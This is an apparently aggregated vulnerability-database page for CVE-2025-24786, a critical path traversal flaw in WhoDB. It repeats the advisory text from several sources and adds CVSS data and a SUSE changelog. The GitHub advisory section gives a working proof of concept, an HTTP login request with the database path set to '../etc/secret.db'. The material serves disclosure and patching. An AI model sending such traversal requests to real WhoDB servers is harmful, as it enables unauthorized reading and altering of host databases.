Every CVE Search/ Get API key

CVE-2025-24786

Path traversal opening Sqlite3 database in WhoDB

10.0 CriticalFix available

WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

2.73%Up 2.7 points since Feb 7, 2025
90%50%10%1%

What each source reports

CVE List Score used 10.0

Path traversal opening Sqlite3 database in WhoDB

WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-24786
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-35, CWE-22
Updated
2026-11-02
EUVDEUVD-2025-3946 10.0

WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
EUVD-2025-3946
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-9r4c-jwx3-3j76 10.0

WhoDB has a path traversal opening Sqlite3 database

Summary

While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.

Details

WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20

If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:

The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26

No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.

This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.

PoC

Before running the container, an example Sqlite3 database with dummy "secret" data was created:

DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"

The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:

podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb

The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:

POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...

{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n  Login(credentials: $credentials) {\n    Status\n    __typename\n  }\n}"}

The server response indicates that the database was successfully opened:

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...

{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}

The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:

{
  "Type": "Sqlite3",
  "Hostname": "",
  "Username": "",
  "Password": "",
  "Database": "../etc/secret.db"
}

The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.

Doing so, the attacker can then browse the database, its tables and the data within:

The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:

Impact

Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database…

Record
GHSA-9r4c-jwx3-3j76
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 10.0

WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-24786
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-22, CWE-35
Updated
2026-11-02
OSV 10.0

Path traversal opening Sqlite3 database in WhoDB

WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-24786
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-22, CWE-35
Updated
2026-11-02
OSVGHSA-9r4c-jwx3-3j76 10.0

WhoDB has a path traversal opening Sqlite3 database

Summary

While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.

Details

WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20

If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:

The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26

No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.

This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.

PoC

Before running the container, an example Sqlite3 database with dummy "secret" data was created:

DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"

The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:

podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb

The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:

POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...

{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n  Login(credentials: $credentials) {\n    Status\n    __typename\n  }\n}"}

The server response indicates that the database was successfully opened:

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...

{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}

The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:

{
  "Type": "Sqlite3",
  "Hostname": "",
  "Username": "",
  "Password": "",
  "Database": "../etc/secret.db"
}

The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.

Doing so, the attacker can then browse the database, its tables and the data within:

The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:

Impact

Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database…

Record
GHSA-9r4c-jwx3-3j76
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGO-2025-3456 No score

WhoDB has a path traversal opening Sqlite3 database in github.com/clidey/whodb/core

WhoDB has a path traversal opening Sqlite3 database in github.com/clidey/whodb/core

Record
GO-2025-3456
Updated
2026-11-02
OSVopenSUSE-SU-2025:14754-1 No score

govulncheck-vulndb-0.0.20250207T224745-1.1 on GA media

These are all security issues fixed in the govulncheck-vulndb-0.0.20250207T224745-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14754-1
Updated
2026-11-02
OSVSUSE-SU-2025:0429-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20250207T224745 2025-02-07T22:47:45Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3456 CVE-2025-24786 GHSA-9r4c-jwx3-3j76
    • GO-2025-3457 CVE-2025-24787 GHSA-c7w4-9wv8-7x7c
    • GO-2025-3458 CVE-2025-24366 GHSA-vj7w-3m8c-6vpx
  • Update to version 0.0.20250206T175003 2025-02-06T17:50:03Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2023-1867 CVE-2022-47930 GHSA-c58h-qv6g-fw74
    • GO-2024-3244 CVE-2024-50354 GHSA-cph5-3pgr-c82g
  • Update to version 0.0.20250206T165438 2025-02-06T16:54:38Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3428 CVE-2025-22867
    • GO-2025-3447 CVE-2025-22866
  • Update to version 0.0.20250205T232745 2025-02-05T23:27:45Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3408
    • GO-2025-3448 GHSA-23qp-3c2m-xx6w
    • GO-2025-3449 GHSA-mx2j-7cmv-353c
    • GO-2025-3450 GHSA-w7wm-2425-7p2h
    • GO-2025-3454 GHSA-mj4v-hp69-27x5
    • GO-2025-3455 GHSA-vqv5-385r-2hf8
  • Update to version 0.0.20250205T003520 2025-02-05T00:35:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3451
  • Update to version 0.0.20250204T220613 2025-02-04T22:06:13Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3431 CVE-2025-24884 GHSA-hcr5-wv4p-h2g2
    • GO-2025-3433 CVE-2025-23216 GHSA-47g2-qmh2-749v
    • GO-2025-3434 CVE-2025-24376 GHSA-fc89-jghx-8pvg
    • GO-2025-3435 CVE-2025-24784 GHSA-756x-m4mj-q96c
    • GO-2025-3436 CVE-2025-24883 GHSA-q26p-9cq4-7fc2
    • GO-2025-3437 GHSA-274v-mgcv-cm8j
    • GO-2025-3438 CVE-2024-11741 GHSA-wxcc-2f3q-4h58
    • GO-2025-3442 CVE-2025-24371 GHSA-22qq-3xwm-r5x4
    • GO-2025-3443 GHSA-r3r4-g7hq-pq4f
    • GO-2025-3444 CVE-2024-35177
    • GO-2025-3445 CVE-2024-47770
  • Use standard RPM macros to unpack the source and populate a working directory. Fixes build with RPM 4.20.

  • Update to version 0.0.20250130T185858 2025-01-30T18:58:58Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2024-2842 CVE-2024-3727 GHSA-6wvf-f2vw-3425
    • GO-2024-3181 CVE-2024-9313 GHSA-x5q3-c8rm-w787
    • GO-2024-3188 CVE-2024-9312 GHSA-4gfw-wf7c-w6g2
    • GO-2025-3372 CVE-2024-45339 GHSA-6wxm-mpqj-6jpf
    • GO-2025-3373 CVE-2024-45341
    • GO-2025-3383 CVE-2024-45340
    • GO-2025-3408
    • GO-2025-3412 CVE-2024-10846 GHSA-36gq-35j3-p9r9
    • GO-2025-3420 CVE-2024-45336
    • GO-2025-3421 CVE-2025-22865
    • GO-2025-3424 CVE-2025-24369
    • GO-2025-3426 CVE-2025-0750 GHSA-hp5j-2585-qx6g
    • GO-2025-3427 CVE-2024-13484 GHSA-58fx-7v9q-3g56
Record
SUSE-SU-2025:0429-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/clidey/whodb/core
Go
before 0.0.0-20250127172032-547336ac73c8
0.0.0-20250127172032-547336ac73c8
govulncheck-vulndb
SUSE:Linux Enterprise Module for Package Hub 15 SP6
From an advisory covering 28 CVEs
before 0.0.20250207T224745-150000.1.32.1
0.0.20250207T224745-150000.1.32.1
govulncheck-vulndb
openSUSE:Leap 15.6
From an advisory covering 28 CVEs
before 0.0.20250207T224745-150000.1.32.1
0.0.20250207T224745-150000.1.32.1
govulncheck-vulndb
openSUSE:Tumbleweed
From an advisory covering 6 CVEs
before 0.0.20250207T224745-1.1
0.0.20250207T224745-1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiWhoDB < 0.45.0 - Path Traversal

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, Nuclei, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-24786 is a critical vulnerability (CVSS 10.0) in Clidey Whodb, published February 6, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.73%, the 86th percentile. Fixed in github.com/clidey/whodb/core 0.0.0-20250127172032-547336ac73c8.

References

Show 30 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open